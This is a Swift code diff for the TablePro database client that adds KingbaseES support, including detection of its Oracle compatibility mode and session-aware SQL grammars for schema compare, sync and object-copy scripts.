+++ b/apple/TablePro/Core/Compare/CompareRunner.swift
@@ -364,7 +364,13 @@ internal struct CompareRunner {
             options: session.structureOptions,
             sourceDatabaseType: context.source.databaseType,
             targetDatabaseType: context.target.databaseType,
-            targetIndexedKinds: SourceObjectIndexes.carriedKinds(on: context.target.databaseType)
+            targetIndexedKinds: SourceObjectIndexes.carriedKinds(on: context.target.databaseType),
+            sourceGrammar: SQLLexicalResolver.executionGrammar(
+                for: context.source.databaseType, connectionId: context.source.connectionId
+            ),
+            targetGrammar: SQLLexicalResolver.executionGrammar(
+                for: context.target.databaseType, connectionId: context.target.connectionId
+            )
         )
 
         /// Each pair reads two independent endpoints, so the two sides run together rather than the
diff --git a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
index e34f80616d..0217e55e14 100644
--- a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
+++ b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
@@ -104,7 +104,7 @@ internal enum CompareSQLLiteral {
             return .bitString
         case .duckdb:
             return .unhexFunction
-        case .postgresql, .cockroachdb, .redshift, .pglite:
+        case .postgresql, .cockroachdb, .redshift, .pglite, .kingbasees:
             return .postgresBytea
         case .mssql:
             return .zeroX
diff --git a/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift b/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift
index 0cf57bd72f..5bb2179c04 100644
--- a/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift
+++ b/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift
@@ -9,13 +9,21 @@
 //
 
 import Foundation
+import TableProPluginKit
 
 internal enum CompareSyncEngineFamily {
     /// A sampled column list is not a schema. A field the source's sample missed reads as one the
     /// target holds and the source does not, and a script would remove it from every document of
     /// the target.
-    internal static func canGenerateStructureScript(from source: DatabaseType, to target: DatabaseType) -> Bool {
+    internal static func canGenerateStructureScript(
+        from source: DatabaseType,
+        to target: DatabaseType,
+        sourceSession: PluginSessionLexicalState? = nil,
+        targetSession: PluginSessionLexicalState? = nil
+    ) -> Bool {
         guard !source.columnsAreSampled, !target.columnsAreSampled else { return false }
+        let sourceFamily = SQLTypeFamily.of(source, session: sourceSession)
+        guard sourceFamily == SQLTypeFamily.of(target, session: targetSession) else { return false }
         guard source != target else { return true }
         return sameFamily(source, target)
     }
@@ -28,18 +36,31 @@ internal enum CompareSyncEngineFamily {
 
     private static let compatiblePairKeys: Set<String> = {
         let pairs: [[DatabaseType]] = [
-            [.mysql, .mariadb]
+            [.mysql, .mariadb],
+            [.postgresql, .kingbasees]
         ]
         return Set(pairs.map { $0.map { $0.rawValue }.sorted().joined(separator: "\u{1F}") })
     }()
 
-    internal static func structureScriptRefusal(from source: DatabaseType, to target: DatabaseType) -> String {
+    internal static func structureScriptRefusal(
+        from source: DatabaseType,
+        to target: DatabaseType,
+        sourceSession: PluginSessionLexicalState? = nil,
+        targetSession: PluginSessionLexicalState? = nil
+    ) -> String {
         if let sampled = [source, target].first(where: \.columnsAreSampled) {
             return String(
                 format: String(localized: "%@ lists a collection's fields from a sample of its documents, so structures can be compared but no script is generated."),
                 sampled.rawValue
             )
         }
+        if let moded = [(source, sourceSession), (target, targetSession)]
+            .first(where: { SQLTypeFamily.leavesFamily($0.0, session: $0.1) }) {
+            return String(
+                format: String(localized: "%@ runs in a compatibility mode with column types of its own, so structures can be compared but no script is generated."),
+                moded.0.rawValue
+            )
+        }
         return String(
             format: String(localized: "Structure sync needs matching database types. %@ and %@ can be compared, but no script is generated."),
             source.rawValue, target.rawValue
diff --git a/apple/TablePro/Core/Compare/CompareSyncExecutor.swift b/apple/TablePro/Core/Compare/CompareSyncExecutor.swift
index f85a8f3329..f5dd7f1942 100644
--- a/apple/TablePro/Core/Compare/CompareSyncExecutor.swift
+++ b/apple/TablePro/Core/Compare/CompareSyncExecutor.swift
@@ -159,7 +159,13 @@ internal actor CompareSyncExecutor {
         let request = OperationRequest(
             connectionId: target.connectionId,
             databaseType: target.databaseType,
-            sql: Self.digest(of: runnable, databaseType: target.databaseType),
+            sql: Self.digest(
+                of: runnable,
+                databaseType: target.databaseType,
+                grammar: SQLLexicalResolver.readings(
+                    for: target.databaseType, session: driver.sessionLexicalState
+                ).execution
+            ),
             kind: Self.kind(for: mode, statements: runnable, databaseType: target.databaseType),
             caller: .userInterface,
             capabilities: [.mayWrite, .mayRunDestructive, .mayRunMultiStatement, .confirmationPreCleared],
@@ -330,8 +336,12 @@ internal actor CompareSyncExecutor {
     /// statement count and a hash of every statement, so two scripts that share their first ten
     /// thousand characters are never recorded as the same run. Each statement is written the way the
     /// saved script writes it, so the gate reads statements ended where they end.
-    static func digest(of statements: [SyncStatement], databaseType: DatabaseType) -> String {
-        let scriptText = SQLScriptText(databaseType: databaseType)
+    static func digest(
+        of statements: [SyncStatement],
+        databaseType: DatabaseType,
+        grammar: SQLLexicalGrammar? = nil
+    ) -> String {
+        let scriptText = SQLScriptText(databaseType: databaseType, grammar: grammar ?? databaseType.lexicalGrammar)
         var digest = ""
         var length = 0
         for statement in statements {
diff --git a/apple/TablePro/Core/Compare/CompareSyncSession.swift b/apple/TablePro/Core/Compare/CompareSyncSession.swift
index a14e41ad6f..6077bd999e 100644
--- a/apple/TablePro/Core/Compare/CompareSyncSession.swift
+++ b/apple/TablePro/Core/Compare/CompareSyncSession.swift
@@ -185,13 +185,23 @@ internal final class CompareSyncSession: ObservableObject {
 
     internal var canGenerateStructureScript: Bool {
         guard mode == .structure, let source, let target else { return false }
-        return CompareSyncEngineFamily.canGenerateStructureScript(from: source.databaseType, to: target.databaseType)
+        return CompareSyncEngineFamily.canGenerateStructureScript(
+            from: source.databaseType,
+            to: target.databaseType,
+            sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId),
+            targetSession: SQLLexicalResolver.sessionState(for: target.connectionId)
+        )
     }
 
     internal var crossEngineNotice: String? {
         guard let source, let target else { return nil }
         if mode == .structure, !canGenerateStructureScript {
-            return CompareSyncEngineFamily.structureScriptRefusal(from: source.databaseType, to: target.databaseType)
+            return CompareSyncEngineFamily.structureScriptRefusal(
+                from: source.databaseType,
+                to: target.databaseType,
+                sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId),
+                targetSession: SQLLexicalResolver.sessionState(for: target.connectionId)
+            )
         }
         return CompareSyncEngineFamily.crossEngineDataWarning(from: source.databaseType, to: target.databaseType)
     }
@@ -395,8 +405,9 @@ internal final class CompareSyncSession: ObservableObject {
     }
 
     private func script(of statements: [SyncStatement]) -> String {
-        guard let databaseType = target?.databaseType else { return "" }
-        return SQLScriptText(databaseType: databaseType).script(statements.map(\.sql))
+        guard let target else { return "" }
+        let grammar = SQLLexicalResolver.executionGrammar(for: target.databaseType, connectionId: target.connectionId)
+        return SQLScriptText(databaseType: target.databaseType, grammar: grammar).script(statements.map(\.sql))
     }
 
     // MARK: - Results view
diff --git a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
index bd753dabe4..57c860b9e9 100644
--- a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
+++ b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift
@@ -20,7 +20,12 @@ internal struct SchemaSyncScriptBuilder {
     internal init(targetDriver: any PluginDatabaseDriver, targetDatabaseType: DatabaseType) {
         self.targetDriver = targetDriver
         self.targetTypeFamily = SQLTypeFamily.of(targetDatabaseType)
-        self.scriptText = SQLScriptText(databaseType: targetDatabaseType)
+        self.scriptText = SQLScriptText(
+            databaseType: targetDatabaseType,
+            grammar: SQLLexicalResolver.readings(
+                for: targetDatabaseType, session: targetDriver.sessionLexicalState
+            ).execution
+        )
     }
 
     internal func build(
diff --git a/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift b/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift
index f9481ba8f0..5ea255cd10 100644
--- a/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift
+++ b/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift
@@ -29,11 +29,17 @@ internal struct SourceObjectDiffEngine {
         options: StructureCompareOptions = .default,
         sourceDatabaseType: DatabaseType,
         targetDatabaseType: DatabaseType,
-        targetIndexedKinds: Set<CompareObjectKind>
+        targetIndexedKinds: Set<CompareObjectKind>,
+        sourceGrammar: SQLLexicalGrammar? = nil,
+        targetGrammar: SQLLexicalGrammar? = nil
     ) {
         self.options = options
-        self.sourceScriptText = SQLScriptText(databaseType: sourceDatabaseType)
-        self.targetScriptText = SQLScriptText(databaseType: targetDatabaseType)
+        self.sourceScriptText = SQLScriptText(
+            databaseType: sourceDatabaseType, grammar: sourceGrammar ?? sourceDatabaseType.lexicalGrammar
+        )
+        self.targetScriptText = SQLScriptText(
+            databaseType: targetDatabaseType, grammar: targetGrammar ?? targetDatabaseType.lexicalGrammar
+        )
         self.targetIndexedKinds = targetIndexedKinds
     }
 
diff --git a/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift b/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift
index e839430c90..a07f42130c 100644
--- a/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift
+++ b/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift
@@ -21,6 +21,7 @@
 import Foundation
 import os
 import TableProPluginKit
+import TableProSQLGrammar
 
 internal struct SourceObjectSyncBuilder {
     private static let logger = Logger(subsystem: "com.TablePro", category: "SourceObjectSyncBuilder")
@@ -40,7 +41,12 @@ internal struct SourceObjectSyncBuilder {
         self.targetDriver = targetDriver
         self.targetDatabaseType = targetDatabaseType
         self.indexSchema = indexSchema
-        self.scriptText = SQLScriptText(databaseType: targetDatabaseType)
+        self.scriptText = SQLScriptText(
+            databaseType: targetDatabaseType,
+            grammar: SQLLexicalResolver.readings(
+                for: targetDatabaseType, session: targetDriver.sessionLexicalState
+            ).execution
+        )
         self.changeBuilder = SchemaSyncScriptBuilder(targetDriver: targetDriver, targetDatabaseType: targetDatabaseType)
     }
 
diff --git a/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift b/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift
index adc5485830..3232ba57c7 100644
--- a/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift
+++ b/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift
@@ -146,7 +146,7 @@ internal enum CrossEngineIndexTranslator {
 
     /// The database types whose index type is the server's own access method, read from `pg_am`, so
     /// `BLOOM`, `HNSW` or `IVFFLAT` names something a PostgreSQL `USING` clause can write.
-    private static let accessMethodSources: Set<DatabaseType> = [.postgresql, .pglite]
+    private static let accessMethodSources: Set<DatabaseType> = [.postgresql, .pglite, .kingbasees]
 
     /// The database types whose indexes, past the primary key, are keys of the table itself:
     /// Redshift's `DISTKEY` and `SORTKEY`, Snowflake's clustering key, and BigQuery's clustering and
diff --git a/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift b/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift
index beeff299d8..408762ef7f 100644
--- a/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift
+++ b/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift
@@ -17,6 +17,7 @@
 //
 
 import Foundation
+import TableProPluginKit
 
 internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable {
     case mysql
@@ -32,6 +33,20 @@ internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable {
         familiesByTypeId[type.rawValue] ?? .generic
     }
 
+    /// The family a live session spells its types in. A KingbaseES cluster initialized in Oracle mode spells
+    /// `varchar2(10)` as `character varying(10 char)` and `date` as `sys.date`, a timestamp, and PostgreSQL parses
+    /// neither (measured on V9R1C10). Its driver reports that mode as PL/SQL lexing, the one part of it a session
+    /// carries, so such a session has no family a copy can cross to.
+    internal static func of(_ type: DatabaseType, session: PluginSessionLexicalState?) -> SQLTypeFamily {
+        if leavesFamily(type, session: session) { return .generic }
+        return of(type)
+    }
+
+    /// Whether the session's mode takes it out of the family its engine has.
+    internal static func leavesFamily(_ type: DatabaseType, session: PluginSessionLexicalState?) -> Bool {
+        type == .kingbasees && session?.enabled.contains(.plsqlBlocks) == true
+    }
+
     /// MySQL reads a `BIT` back as the number it holds; PostgreSQL and DuckDB read theirs as a string of digits.
     internal var readsBitsAsDecimal: Bool { self == .mysql }
 
@@ -60,6 +75,7 @@ internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable {
         "AlloyDB": .postgres,
         "Citus": .postgres,
         "Greenplum": .postgres,
+        "KingbaseES": .postgres,
         "SQLite": .sqlite,
         "libSQL": .sqlite,
         "Turso": .sqlite,
diff --git a/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift b/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift
index c1a8415f58..7c584aff47 100644
--- a/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift
+++ b/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift
@@ -15,7 +15,7 @@ import Foundation
 enum DataWriteRowCounts {
     private static let enginesReportingRealCounts: Set<DatabaseType> = [
         .mysql, .mariadb, .tidb, .oceanbase,
-        .postgresql, .redshift, .cockroachdb, .pglite,
+        .postgresql, .redshift, .cockroachdb, .pglite, .kingbasees,
         .sqlite, .libsql, .turso, .duckdb,
         .mssql, .oracle,
     ]
diff --git a/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift b/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift
index f0c6ab7947..8a03dfefd9 100644
--- a/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift
+++ b/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift
@@ -16,7 +16,7 @@ enum ExplicitIdentityInsert: Equatable {
 
     static func style(for databaseType: DatabaseType) -> ExplicitIdentityInsert? {
         switch databaseType {
-        case .postgresql, .pglite:
+        case .postgresql, .pglite, .kingbasees:
             return .overridingSystemValue
         case .mssql:
             return .identityInsertSession
diff --git a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift
index 8aa3ccd4d8..5f00b084c2 100644
--- a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift
+++ b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift
@@ -214,8 +214,11 @@ internal actor DatabaseAccessBridge {
         guard !Self.statementText(query, grammar: .ansi).isEmpty else {
             throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty."))
         }
-        let databaseType = try await ensureConnected(scope.connectionId)
-        let normalizedQuery = Self.statementText(query, databaseType: databaseType)
+        let (sessionDriver, databaseType) = try await resolveDriver(scope.connectionId)
+        let grammar = SQLLexicalResolver.readings(
+            for: databaseType, session: sessionDriver.sessionLexicalState
+        ).execution
+        let normalizedQuery = Self.statementText(query, databaseType: databaseType, grammar: grammar)
         guard !normalizedQuery.isEmpty else {
             throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty."))
         }
@@ -253,7 +256,6 @@ internal actor DatabaseAccessBridge {
         /// A write that timed out or failed may still have committed: a group only returns once
         /// every child has, so by the time the error arrives the driver call has finished one way or
         /// the other, and a catalog that might have changed is refreshed rather than trusted.
-        let grammar = databaseType.lexicalGrammar
         let result: QueryResult
         let tableEdits: SucceededStatements?
         do {
@@ -405,11 +407,15 @@ internal actor DatabaseAccessBridge {
         SQLStatementScanner.executableText(of: query, grammar: grammar)
     }
 
-    internal static func statementText(_ query: String, databaseType: DatabaseType) -> String {
+    internal static func statementText(
+        _ query: String,
+        databaseType: DatabaseType,
+        grammar: SQLLexicalGrammar? = nil
+    ) -> String {
         QueryStatementScanner.executableText(
             of: query,
             model: QueryStatementModel.forDatabaseType(databaseType),
-            grammar: databaseType.lexicalGrammar
+            grammar: grammar ?? databaseType.lexicalGrammar
         )
     }
 }
diff --git a/apple/TablePro/Core/Database/DatabaseManager+Startup.swift b/apple/TablePro/Core/Database/DatabaseManager+Startup.swift
index e65a935a0b..5f68e9c7a7 100644
--- a/apple/TablePro/Core/Database/DatabaseManager+Startup.swift
+++ b/apple/TablePro/Core/Database/DatabaseManager+Startup.swift
@@ -24,15 +24,19 @@ extension DatabaseManager {
         return !commands.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty
     }
 
-    /// The statements `executeStartupCommands` sends, one per line or `;`, read the way the engine reads a quote or a
+    /// The statements `executeStartupCommands` sends, one per line or `;`, read the way the session reads a quote or a
     /// comment. Also read by the catalog, because a temporary table a startup command creates shadows a real one for
     /// the whole session.
-    nonisolated internal static func startupStatements(from commands: String?, databaseType: DatabaseType) -> [String] {
+    nonisolated internal static func startupStatements(
+        from commands: String?,
+        databaseType: DatabaseType,
+        grammar sessionGrammar: SQLLexicalGrammar? = nil
+    ) -> [String] {
         guard hasStartupCommands(commands), let commands else { return [] }
         if QueryStatementModel.forDatabaseType(databaseType) == .redis {
             return RedisCommandSplitter.commands(in: commands).map(\.text)
         }
-        let grammar = databaseType.lexicalGrammar
+        let grammar = sessionGrammar ?? databaseType.lexicalGrammar
         let source = commands as NSString
         var statements: [String] = []
         var lineStart = 0
@@ -62,7 +66,9 @@ extension DatabaseManager {
         _ commands: String?, on driver: DatabaseDriver, connectionName: String
     ) async -> [(statement: String, error: String)] {
         var failures: [(statement: String, error: String)] = []
-        for statement in Self.startupStatements(from: commands, databaseType: driver.connection.type) {
+        let databaseType = driver.connection.type
+        let grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution
+        for statement in Self.startupStatements(from: commands, databaseType: databaseType, grammar: grammar) {
             do {
                 _ = try await driver.execute(query: statement)
                 Self.startupLogger.info(
diff --git a/apple/TablePro/Core/Database/FilterSQLGenerator.swift b/apple/TablePro/Core/Database/FilterSQLGenerator.swift
index 09a83f2bf3..6f0f1b97f0 100644
--- a/apple/TablePro/Core/Database/FilterSQLGenerator.swift
+++ b/apple/TablePro/Core/Database/FilterSQLGenerator.swift
@@ -31,6 +31,9 @@ struct FilterSQLGenerator {
     private let stringLiteralPrefix: String
     /// The engine's type family, for the comparisons a dialect descriptor cannot describe.
     private let family: SQLTypeFamily?
+    // Oracle reads the literal '' as NULL, and so does KingbaseES in Oracle mode, which its type cannot tell apart
+    // from its PostgreSQL mode, so `c != ''` matches no row there.
+    private let readsEmptyStringAsNull: Bool
 
     init(
         dialect: SQLDialectDescriptor,
@@ -45,6 +48,7 @@ struct FilterSQLGenerator {
         self.columnTypesByName = ColumnTypeSQLQuoting.lookupByName(columns: columns, columnTypes: columnTypes)
         self.stringLiteralPrefix = stringLiteralPrefix
         self.family = databaseType.map(SQLTypeFamily.of)
+        self.readsEmptyStringAsNull = family == .oracle || databaseType == .kingbasees
     }
 
     /// The one place a string literal is spelled, so the engine's prefix cannot be forgotten on
@@ -125,13 +129,15 @@ struct FilterSQLGenerator {
             guard ColumnTypeSQLQuoting.supportsEmptyStringComparison(columnType) else {
                 return "\(quotedColumn) IS NULL"
             }
-            return "(\(quotedColumn) IS NULL OR \(patternOperand(quotedColumn, columnType: columnType)) = '')"
+            let operand = patternOperand(quotedColumn, columnType: columnType)
+            return "(\(quotedColumn) IS NULL OR \(emptyValueTest(operand, negated: false)))"
 
         case .isNotEmpty:
             guard ColumnTypeSQLQuoting.supportsEmptyStringComparison(columnType) else {
                 return "\(quotedColumn) IS NOT NULL"
             }
-            return "(\(quotedColumn) IS NOT NULL AND \(patternOperand(quotedColumn, columnType: columnType)) != '')"
+            let operand = patternOperand(quotedColumn, columnType: columnType)
+            return "(\(quotedColumn) IS NOT NULL AND \(emptyValueTest(operand, negated: true)))"
 
         case .inList:
             return generateInCondition(
@@ -164,6 +170,11 @@ struct FilterSQLGenerator {
         }
     }
 
+    private func emptyValueTest(_ operand: String, negated: Bool) -> String {
+        guard readsEmptyStringAsNull else { return "\(operand) \(negated ? "!=" : "=") ''" }
+        return "LENGTH(\(operand)) \(negated ? ">" : "=") 0"
+    }
+
     /// SQLite keeps integer 5 and text '5' apart in a column with no affinity, and the grid reads both as `5`,
     /// so SQLite's own text for a number matches either one.
     private func eitherStorageComparison(_ column: String, _ value: String, columnType: ColumnType?, negated: Bool) -> String? {
diff --git a/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift b/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift
index 0bba3e9ea4..96d91478f3 100644
--- a/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift
+++ b/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift
@@ -1,5 +1,6 @@
 import Foundation
 import TableProPluginKit
+import TableProSQLGrammar
 
 struct QueryDiagnostic: Equatable, Identifiable {
     enum Severity: String {
@@ -42,7 +43,7 @@ struct CombinedQueryDiagnosticsProducer: QueryDiagnosticsProducing {
 
 @MainActor
 enum QueryDiagnosticsFactory {
-    static func make(for databaseType: DatabaseType?) -> QueryDiagnosticsProducing {
+    static func make(for databaseType: DatabaseType?, grammar: SQLLexicalGrammar? = nil) -> QueryDiagnosticsProducing {
         let resolvedType = databaseType ?? .mysql
 
         // Highlighting as JavaScript does not make the language JavaScript: Elasticsearch, Typesense
@@ -57,7 +58,7 @@ enum QueryDiagnosticsFactory {
         case .sql:
             return CombinedQueryDiagnosticsProducer(producers: [
                 SQLDiagnosticsProducer(),
-                SQLConfusableCharacterDiagnosticsProducer(grammar: resolvedType.lexicalGrammar)
+                SQLConfusableCharacterDiagnosticsProducer(grammar: grammar ?? resolvedType.lexicalGrammar)
             ])
         case .bash:
             // A command line's arguments are plain text, so `SET smile :)` holds a bracket that closes
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift
index 5d83919195..1d94e168ed 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift
@@ -62,7 +62,9 @@ internal enum ObjectCopyEligibility {
         from source: DatabaseType,
         to target: DatabaseType,
         sourceLanguage: EditorLanguage,
-        targetLanguage: EditorLanguage
+        targetLanguage: EditorLanguage,
+        sourceSession: PluginSessionLexicalState? = nil,
+        targetSession: PluginSessionLexicalState? = nil
     ) -> String? {
         guard supportsCopying(editorLanguage: sourceLanguage),
               supportsCopying(editorLanguage: targetLanguage) else {
@@ -71,7 +73,7 @@ internal enum ObjectCopyEligibility {
                 source.rawValue, target.rawValue
             )
         }
-        return crossEngineRefusal(from: source, to: target)
+        return crossEngineRefusal(from: source, sourceSession, to: target, targetSession)
     }
 
     /// The second half of the gate, and the one the editor language cannot answer.
@@ -81,8 +83,12 @@ internal enum ObjectCopyEligibility {
     /// where both engines have a type system `SQLTypeFamily` names, which is the same set the
     /// translation was written and tested against. Within one engine nothing is translated, so an
     /// engine no family names still copies to itself.
-    private static func crossEngineRefusal(from source: DatabaseType, to target: DatabaseType) -> String? {
-        guard SQLTypeFamily.needsTranslation(from: source, to: target) else { return nil }
+    private static func crossEngineRefusal(
+        from source: DatabaseType, _ sourceSession: PluginSessionLexicalState?,
+        to target: DatabaseType, _ targetSession: PluginSessionLexicalState?
+    ) -> String? {
+        guard crosses(from: source, sourceSession, to: target, targetSession) else { return nil }
+        if let moded = modeRefusal(source, sourceSession, target, targetSession) { return moded }
         let unnamed = [source, target].filter { SQLTypeFamily.of($0) == .generic }
         guard let first = unnamed.first else { return nil }
         return String(
@@ -93,6 +99,33 @@ internal enum ObjectCopyEligibility {
         )
     }
 
+    /// `SQLTypeFamily.needsTranslation` with each side's session applied, so two servers of one engine
+    /// in different modes cross as well.
+    private static func crosses(
+        from source: DatabaseType, _ sourceSession: PluginSessionLexicalState?,
+        to target: DatabaseType, _ targetSession: PluginSessionLexicalState?
+    ) -> Bool {
+        let sourceFamily = SQLTypeFamily.of(source, session: sourceSession)
+        let targetFamily = SQLTypeFamily.of(target, session: targetSession)
+        if source == target { return sourceFamily != targetFamily }
+        return sourceFamily != targetFamily || sourceFamily == .generic
+    }
+
+    private static func modeRefusal(
+        _ source: DatabaseType, _ sourceSession: PluginSessionLexicalState?,
+        _ target: DatabaseType, _ targetSession: PluginSessionLexicalState?
+    ) -> String? {
+        let moded = [(source, sourceSession), (target, targetSession)]
+            .first { SQLTypeFamily.leavesFamily($0.0, session: $0.1) }
+        guard let moded else { return nil }
+        return String(
+            format: String(
+                localized: "%@ runs in a compatibility mode with column types of its own. Copy to a target of the same type in the same mode."
+            ),
+            moded.0.rawValue
+        )
+    }
+
     /// Why a view, routine or trigger cannot cross to another engine.
     ///
     /// Its definition is the source's own SQL text and nothing here parses it, so a MySQL view's
@@ -101,9 +134,12 @@ internal enum ObjectCopyEligibility {
     /// structure the translator can restate; a definition has only text.
     internal static func definitionEngineRefusal(
         from source: DatabaseType,
-        to target: DatabaseType
+        to target: DatabaseType,
+        sourceSession: PluginSessionLexicalState? = nil,
+        targetSession: PluginSessionLexicalState? = nil
     ) -> String? {
-        guard SQLTypeFamily.needsTranslation(from: source, to: target) else { return nil }
+        guard crosses(from: source, sourceSession, to: target, targetSession) else { return nil }
+        if let moded = modeRefusal(source, sourceSession, target, targetSession) { return moded }
         return String(
             format: String(
                 localized: "Its definition is written in %1$@'s own SQL, which %2$@ does not parse."
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
index 127c8315fd..926323d086 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
@@ -12,6 +12,7 @@
 
 import Foundation
 import TableProPluginKit
+import TableProSQLGrammar
 
 /// One table's work: its DDL, and the read and write it will stream between.
 internal struct ObjectCopyTableStep: Identifiable, Sendable {
@@ -224,6 +225,8 @@ internal struct ObjectCopyPlan: Sendable {
     /// so the run may write that DDL under the target's write scope. A definition read as the
     /// session is runs as the session is, the way it did before scopes.
     internal let isStructureReadPinned: Bool
+    /// The target session's execution grammar, which the review script is written in.
+    internal let targetGrammar: SQLLexicalGrammar
 
     internal init(
         request: ObjectCopyRequest,
@@ -232,7 +235,8 @@ internal struct ObjectCopyPlan: Sendable {
         definitionSteps: [ObjectCopyDefinitionStep],
         schemaStatements: [SyncStatement] = [],
         skipped: [ObjectCopySkip] = [],
-        isStructureReadPinned: Bool = false
+        isStructureReadPinned: Bool = false,
+        targetGrammar: SQLLexicalGrammar? = nil
     ) {
         self.request = request
         self.createsDatabase = createsDatabase
@@ -241,6 +245,7 @@ internal struct ObjectCopyPlan: Sendable {
         self.schemaStatements = schemaStatements
         self.skipped = skipped
         self.isStructureReadPinned = isStructureReadPinned
+        self.targetGrammar = targetGrammar ?? request.target.databaseType.lexicalGrammar
     }
 
     /// Shown above the script, for the caveats the copy cannot do anything about: a key column the
@@ -386,7 +391,7 @@ internal struct ObjectCopyPlan: Sendable {
     /// filled, and a user reasoning about a cascade from what they were asked to approve reached
     /// the opposite conclusion from what the run would do.
     internal var scriptText: String {
-        let script = SQLScriptText(databaseType: request.target.databaseType)
+        let script = SQLScriptText(databaseType: request.target.databaseType, grammar: targetGrammar)
         var lines: [String] = []
         if case .newDatabase(_, let name, _) = request.destination {
             lines.append(String(format: String(localized: "-- Create database %@"), name))
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
index 448133d1ca..375a845484 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
@@ -152,7 +152,10 @@ internal struct ObjectCopyPlanner {
             definitionSteps: definitionSteps,
             schemaStatements: try await buildSchemaStatements(request, namespaces: targetNamespaces),
             skipped: skipped,
-            isStructureReadPinned: isStructureReadPinned
+            isStructureReadPinned: isStructureReadPinned,
+            targetGrammar: SQLLexicalResolver.executionGrammar(
+                for: request.target.databaseType, connectionId: request.target.connectionId
+            )
         )
     }
 
@@ -203,7 +206,12 @@ internal struct ObjectCopyPlanner {
             scope: targetScope(request, endpoint: request.target)
         ) { driver in
             guard let plugin = CompareMetadataService.pluginDriver(from: driver) else { return [] }
-            let scriptText = SQLScriptText(databaseType: driver.connection.type)
+            let scriptText = SQLScriptText(
+                databaseType: driver.connection.type,
+                grammar: SQLLexicalResolver.readings(
+                    for: driver.connection.type, session: driver.sessionLexicalState
+                ).execution
+            )
             return namespaces.flatMap { name -> [SyncStatement] in
                 guard let sql = plugin.createSchemaStatement(name: name) else { return [] }
                 let summary = String(format: String(localized: "Create schema %@"), name)
@@ -283,7 +291,9 @@ internal struct ObjectCopyPlanner {
             from: request.source.databaseType,
             to: request.target.databaseType,
             sourceLanguage: PluginManager.shared.editorLanguage(for: request.source.databaseType),
-            targetLanguage: PluginManager.shared.editorLanguage(for: request.target.databaseType)
+            targetLanguage: PluginManager.shared.editorLanguage(for: request.target.databaseType),
+            sourceSession: manager.driver(for: request.source.connectionId)?.sessionLexicalState,
+            targetSession: manager.driver(for: request.target.connectionId)?.sessionLexicalState
         ) {
             throw ObjectCopyError.refused(reason)
         }
@@ -849,7 +859,8 @@ internal struct ObjectCopyPlanner {
                 format: String(localized: "Every row already in %@ is removed."), table
             )
         )]
-        return SQLScriptText(databaseType: databaseType).sendableStatements(sql).map { statement in
+        let grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution
+        return SQLScriptText(databaseType: databaseType, grammar: grammar).sendableStatements(sql).map { statement in
